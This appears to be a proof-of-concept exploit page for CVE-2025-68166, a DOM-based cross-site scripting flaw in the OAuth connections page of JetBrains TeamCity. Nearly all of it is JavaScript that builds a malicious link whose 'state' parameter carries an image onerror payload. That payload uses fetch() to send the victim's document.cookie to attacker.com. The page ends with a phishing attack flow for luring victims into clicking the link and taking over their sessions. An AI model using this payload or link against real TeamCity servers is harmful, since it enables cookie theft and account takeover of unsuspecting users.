CVE-2025-68166: JetBrains TeamCity OAuth页面DOM型XSS漏洞

// CVE-2025-68166 DOM-based XSS PoC for JetBrains TeamCity // Target: OAuth connections tab in TeamCity < 2025.11 const targetUrl = 'https://[TEAMCITY_HOST]/oauth/connections'; // Malicious payload - XSS via OAuth state parameter const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">"'; // Construct the malicious URL const maliciousUrl = `${targetUrl}?state=${encodeURIComponent(maliciousPayload)}&connection=google`; console.log('[+] CVE-2025-68166 - JetBrains TeamCity DOM-based XSS'); console.log('[+] Target:', targetUrl); console.log('[+] Malicious URL:', maliciousUrl); console.log('[+] Payload:', maliciousPayload); // Social engineering component - create a convincing link const phishingLink = ` [+] Attack Flow: 1. Attacker crafts malicious OAuth link with XSS payload 2. Victim is tricked into clicking the link 3. Malicious script executes in victim's browser 4. Attacker steals session cookies or performs actions as victim `; console.log(phishingLink);